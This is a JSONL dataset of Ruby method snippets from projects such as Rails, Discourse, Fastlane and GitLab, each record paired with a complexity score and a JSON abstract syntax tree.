{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/multiparameter_attributes_test.rb","start_line":19,"raw_source":"def test_multiparameter_attributes_on_date_with_empty_year\n    attributes = { \"last_read(1i)\" => \"\", \"last_read(2i)\" => \"6\", \"last_read(3i)\" => \"24\" }\n    topic = Topic.find(1)\n    topic.attributes = attributes\n    assert_nil topic.last_read\n  end","complexity_score":6.5,"ast_json":"{\"type\":\"def\",\"children\":[\"test_multiparameter_attributes_on_date_with_empty_year\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"attributes\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"last_read(1i)\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"last_read(2i)\"]},{\"type\":\"str\",\"children\":[\"6\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"last_read(3i)\"]},{\"type\":\"str\",\"children\":[\"24\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"topic\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"find\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"attributes=\",{\"type\":\"lvar\",\"children\":[\"attributes\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"last_read\"]}]}]}]}","id":"67ba8ea3-188c-424b-9388-c6bc0d983fa7"}
{"repo_name":"hanami","file_path":"./repos/hanami/lib/hanami/helpers/assets_helper.rb","start_line":801,"raw_source":"def _append_extension?(source, ext)\n        source !~ QUERY_STRING_MATCHER && source !~ /#{Regexp.escape(ext)}\\z/\n      end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"_append_extension?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"source\"]},{\"type\":\"arg\",\"children\":[\"ext\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source\"]},\"!~\",{\"type\":\"const\",\"children\":[null,\"QUERY_STRING_MATCHER\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source\"]},\"!~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"escape\",{\"type\":\"lvar\",\"children\":[\"ext\"]}]}]},{\"type\":\"str\",\"children\":[\"\\\\z\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]}]}","id":"9e557fc7-dc4e-4976-92c0-6e30b242c888"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/automation/lib/discourse_automation/scriptable.rb","start_line":233,"raw_source":"def self.build_quote(post)\n        return \"\" if post.nil? || post.raw.nil?\n\n        full_name = post.user.name\n        name =\n          if SiteSetting.display_name_on_posts && !SiteSetting.prioritize_username_in_ux\n            full_name || post.username\n          else\n            post.username\n          end\n\n        params = [name, \"post:#{post.post_number}\", \"topic:#{post.topic_id}\"]\n\n        if SiteSetting.display_name_on_posts && !SiteSetting.prioritize_username_in_ux && full_name\n          params.push(\"username:#{post.username}\")\n        end\n\n        \"[quote=#{params.join(\", \")}]\\n#{post.raw.strip}\\n[/quote]\\n\\n\"\n      end","complexity_score":34.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"build_quote\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"post\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"raw\"]},\"nil?\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"full_name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"user\"]},\"name\"]}]},{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"display_name_on_posts\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"prioritize_username_in_ux\"]},\"!\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"full_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"username\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"username\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"params\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"post:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"post_number\"]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"topic:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"topic_id\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"display_name_on_posts\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"prioritize_username_in_ux\"]},\"!\"]}]},{\"type\":\"lvar\",\"children\":[\"full_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"push\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"username:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"username\"]}]}]}]},null]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"[quote=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]},{\"type\":\"str\",\"children\":[\"]\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"raw\"]},\"strip\"]}]},{\"type\":\"str\",\"children\":[\"\\n[/quote]\\n\\n\"]}]}]}]}","id":"4477caa9-786c-45d4-aa74-a40ffc62b9a1"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/form_helper_test.rb","start_line":420,"raw_source":"def test_text_field_placeholder_with_human_attribute_name\n    I18n.with_locale :placeholder do\n      assert_dom_equal('<input id=\"post_cost\" name=\"post[cost]\" placeholder=\"Total cost\" type=\"text\" />', text_field(:post, :cost, placeholder: true))\n    end\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_text_field_placeholder_with_human_attribute_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"with_locale\",{\"type\":\"sym\",\"children\":[\"placeholder\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"str\",\"children\":[\"<input id=\\\"post_cost\\\" name=\\\"post[cost]\\\" placeholder=\\\"Total cost\\\" type=\\\"text\\\" />\"]},{\"type\":\"send\",\"children\":[null,\"text_field\",{\"type\":\"sym\",\"children\":[\"post\"]},{\"type\":\"sym\",\"children\":[\"cost\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"placeholder\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}","id":"62a37959-25d2-4c2f-be95-dd081e07b6ca"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane_core/lib/fastlane_core/configuration/configuration_file.rb","start_line":85,"raw_source":"def method_missing(method_sym, *arguments, &block)\n      # First, check if the key is actually available\n      return if self.options.key?(method_sym)\n\n      if self.available_keys.include?(method_sym)\n\n        value = arguments.first\n        value = yield if value.nil? && block_given?\n\n        if value.nil?\n          unless block_given?\n            # The config file has something like this:\n            #\n            #   clean\n            #\n            # without specifying a value for the method call\n            # or a block. This is most likely a user error\n            # So we tell the user that they can provide a value\n            warning = [\"In the config file '#{self.configfile_path}'\"]\n            warning << \"you have the line #{method_sym}, but didn't provide\"\n            warning << \"any value. Make sure to append a value right after the\"\n            warning << \"option name. Make sure to check the docs for more information\"\n            UI.important(warning.join(\" \"))\n          end\n          return\n        end\n\n        self.modified_values[method_sym] = value\n\n        # to support frozen strings (e.g. ENV variables) too\n        # we have to dupe the value\n        # in < Ruby 2.4.0 `.dup` is not support by boolean values\n        # and there is no good way to check if a class actually\n        # responds to `dup`, so we have to rescue the exception\n        begin\n          value = value.dup\n        rescue TypeError\n          # Nothing specific to do here, if we can't dupe, we just\n          # deal with it (boolean values can't be from env variables anyway)\n        end\n        self.options[method_sym] = value\n      else\n        # We can't set this value, maybe the tool using this configuration system has its own\n        # way of handling this block, as this might be a special block (e.g. ipa block) that's only\n        # executed on demand\n        if @block_for_missing\n          @block_for_missing.call(method_sym, arguments, block)\n        else\n          self.options[method_sym] = '' # important, since this will raise a good exception for free\n        end\n      end\n    end","complexity_score":46.3,"ast_json":"{\"type\":\"def\",\"children\":[\"method_missing\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"method_sym\"]},{\"type\":\"restarg\",\"children\":[\"arguments\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"options\"]},\"key?\",{\"type\":\"lvar\",\"children\":[\"method_sym\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"available_keys\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"method_sym\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arguments\"]},\"first\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"block_given?\"]}]},{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"yield\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"nil?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block_given?\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"warning\",{\"type\":\"array\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"In the config file '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"configfile_path\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"warning\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"you have the line \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"method_sym\"]}]},{\"type\":\"str\",\"children\":[\", but didn't provide\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"warning\"]},\"<<\",{\"type\":\"str\",\"children\":[\"any value. Make sure to append a value right after the\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"warning\"]},\"<<\",{\"type\":\"str\",\"children\":[\"option name. Make sure to check the docs for more information\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"important\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"warning\"]},\"join\",{\"type\":\"str\",\"children\":[\" \"]}]}]}]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"modified_values\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"method_sym\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"dup\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TypeError\"]}]},null,null]},null]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"options\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"method_sym\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@block_for_missing\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@block_for_missing\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"method_sym\"]},{\"type\":\"lvar\",\"children\":[\"arguments\"]},{\"type\":\"lvar\",\"children\":[\"block\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"options\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"method_sym\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]}]}","id":"73d678e2-44f1-45f6-a789-72a8fb039ac8"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/redundant_sort.rb","start_line":162,"raw_source":"def suggestion(sorter, accessor, arg)\n          base(accessor, arg) + suffix(sorter)\n        end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"suggestion\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sorter\"]},{\"type\":\"arg\",\"children\":[\"accessor\"]},{\"type\":\"arg\",\"children\":[\"arg\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"base\",{\"type\":\"lvar\",\"children\":[\"accessor\"]},{\"type\":\"lvar\",\"children\":[\"arg\"]}]},\"+\",{\"type\":\"send\",\"children\":[null,\"suffix\",{\"type\":\"lvar\",\"children\":[\"sorter\"]}]}]}]}","id":"391f871d-8b5d-4140-b8e5-927011e59fee"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/diff/line.rb","start_line":149,"raw_source":"def legacy_id(file_path)\n        return if meta?\n\n        Gitlab::Git.diff_line_code(file_path, new_pos, old_pos)\n      end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"legacy_id\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file_path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"meta?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Git\"]},\"diff_line_code\",{\"type\":\"lvar\",\"children\":[\"file_path\"]},{\"type\":\"send\",\"children\":[null,\"new_pos\"]},{\"type\":\"send\",\"children\":[null,\"old_pos\"]}]}]}]}","id":"7bb66514-7717-497c-bdd1-47b0eb53332c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/middleware/same_site_cookies.rb","start_line":119,"raw_source":"def chromium_version_between?(from_major, to_major, user_agent)\n        m = CHROMIUM_VERSION_REGEX.match(user_agent)\n\n        return false if m.nil?\n\n        version = m[1].to_i\n        version >= from_major && version <= to_major\n      end","complexity_score":10.75,"ast_json":"{\"type\":\"def\",\"children\":[\"chromium_version_between?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"from_major\"]},{\"type\":\"arg\",\"children\":[\"to_major\"]},{\"type\":\"arg\",\"children\":[\"user_agent\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"m\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CHROMIUM_VERSION_REGEX\"]},\"match\",{\"type\":\"lvar\",\"children\":[\"user_agent\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"version\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"to_i\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},\">=\",{\"type\":\"lvar\",\"children\":[\"from_major\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},\"<=\",{\"type\":\"lvar\",\"children\":[\"to_major\"]}]}]}]}]}","id":"4288d042-62c1-4287-86ad-e5db3e30acf7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/event_filter.rb","start_line":58,"raw_source":"def in_operator_query_builder_params(array_data)\n    case filter\n    when ALL\n      in_operator_params(array_data: array_data)\n    when PUSH\n      # Here we need to add an order hint column to force the correct index usage.\n      # Without the order hint, the following conditions will use the `index_events_on_author_id_and_id`\n      # index which is not as efficient as the `index_events_for_followed_users` index.\n      # > target_type IS NULL AND action = 5 AND author_id = X ORDER BY id DESC\n      #\n      # The order hint adds an extra order by column which doesn't affect the result but forces the planner\n      # to use the correct index:\n      # > target_type IS NULL AND action = 5 AND author_id = X ORDER BY target_type DESC, id DESC\n      in_operator_params(\n        array_data: array_data,\n        scope: Event.where(target_type: nil).pushed_action,\n        order_hint_column: :target_type\n      )\n    when MERGED\n      in_operator_params(\n        array_data: array_data,\n        scope: Event.where(target_type: MergeRequest.to_s).merged_action\n      )\n    when COMMENTS\n      in_operator_params(\n        array_data: array_data,\n        scope: Event.commented_action,\n        in_column: :target_type,\n        in_values: [Note, *Note.descendants].map(&:name) # To make the query efficient we need to list all Note classes\n      )\n    when TEAM\n      in_operator_params(\n        array_data: array_data,\n        # TODO: Remove nil filter once backfill is complete https://gitlab.com/gitlab-org/gitlab/-/issues/565789\n        scope: Event.where(target_type: [nil, Event::TARGET_TYPES[:project].name]),\n        order_hint_column: :target_type,\n        in_column: :action,\n        in_values: Event.actions.values_at(*Event::TEAM_ACTIONS)\n      )\n    when ISSUE\n      in_operator_params(\n        array_data: array_data,\n        scope: Event.for_issue,\n        in_column: :action,\n        in_values: Event.actions.values_at(*Event::ISSUE_ACTIONS)\n      )\n    when WIKI\n      in_operator_params(\n        array_data: array_data,\n        scope: Event.for_wiki_page,\n        in_column: :action,\n        in_values: Event.actions.values_at(*Event::WIKI_ACTIONS)\n      )\n    when DESIGNS\n      in_operator_params(\n        array_data: array_data,\n        scope: Event.for_design,\n        in_column: :action,\n        in_values: Event.actions.values_at(*Event::DESIGN_ACTIONS)\n      )\n    else\n      in_operator_params(array_data: array_data)\n    end\n  end","complexity_score":56.3,"ast_json":"{\"type\":\"def\",\"children\":[\"in_operator_query_builder_params\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"array_data\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[null,\"filter\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ALL\"]},{\"type\":\"send\",\"children\":[null,\"in_operator_params\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"array_data\"]},{\"type\":\"lvar\",\"children\":[\"array_data\"]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PUSH\"]},{\"type\":\"send\",\"children\":[null,\"in_operator_params\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"array_data\"]},{\"type\":\"lvar\",\"children\":[\"array_data\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scope\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Event\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_type\"]},{\"type\":\"nil\",\"children\":[]}]}]}]},\"pushed_action\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"order_hint_column\"]},{\"type\":\"sym\",\"children\":[\"target_type\"]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MERGED\"]},{\"type\":\"send\",\"children\":[null,\"in_operator_params\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"array_data\"]},{\"type\":\"lvar\",\"children\":[\"array_data\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scope\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Event\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MergeRequest\"]},\"to_s\"]}]}]}]},\"merged_action\"]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"COMMENTS\"]},{\"type\":\"send\",\"children\":[null,\"in_operator_params\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"array_data\"]},{\"type\":\"lvar\",\"children\":[\"array_data\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scope\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Event\"]},\"commented_action\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"in_column\"]},{\"type\":\"sym\",\"children\":[\"target_type\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"in_values\"]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Note\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Note\"]},\"descendants\"]}]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TEAM\"]},{\"type\":\"send\",\"children\":[null,\"in_operator_params\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"array_data\"]},{\"type\":\"lvar\",\"children\":[\"array_data\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scope\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Event\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_type\"]},{\"type\":\"array\",\"children\":[{\"type\":\"nil\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Event\"]},\"TARGET_TYPES\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"project\"]}]},\"name\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"order_hint_column\"]},{\"type\":\"sym\",\"children\":[\"target_type\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"in_column\"]},{\"type\":\"sym\",\"children\":[\"action\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"in_values\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Event\"]},\"actions\"]},\"values_at\",{\"type\":\"splat\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Event\"]},\"TEAM_ACTIONS\"]}]}]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ISSUE\"]},{\"type\":\"send\",\"children\":[null,\"in_operator_params\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"array_data\"]},{\"type\":\"lvar\",\"children\":[\"array_data\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scope\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Event\"]},\"for_issue\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"in_column\"]},{\"type\":\"sym\",\"children\":[\"action\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"in_values\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Event\"]},\"actions\"]},\"values_at\",{\"type\":\"splat\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Event\"]},\"ISSUE_ACTIONS\"]}]}]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WIKI\"]},{\"type\":\"send\",\"children\":[null,\"in_operator_params\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"array_data\"]},{\"type\":\"lvar\",\"children\":[\"array_data\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scope\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Event\"]},\"for_wiki_page\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"in_column\"]},{\"type\":\"sym\",\"children\":[\"action\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"in_values\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Event\"]},\"actions\"]},\"values_at\",{\"type\":\"splat\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Event\"]},\"WIKI_ACTIONS\"]}]}]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DESIGNS\"]},{\"type\":\"send\",\"children\":[null,\"in_operator_params\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"array_data\"]},{\"type\":\"lvar\",\"children\":[\"array_data\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scope\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Event\"]},\"for_design\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"in_column\"]},{\"type\":\"sym\",\"children\":[\"action\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"in_values\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Event\"]},\"actions\"]},\"values_at\",{\"type\":\"splat\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Event\"]},\"DESIGN_ACTIONS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"in_operator_params\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"array_data\"]},{\"type\":\"lvar\",\"children\":[\"array_data\"]}]}]}]}]}]}","id":"68bda2f4-d10f-4097-93aa-f640029d18e4"}
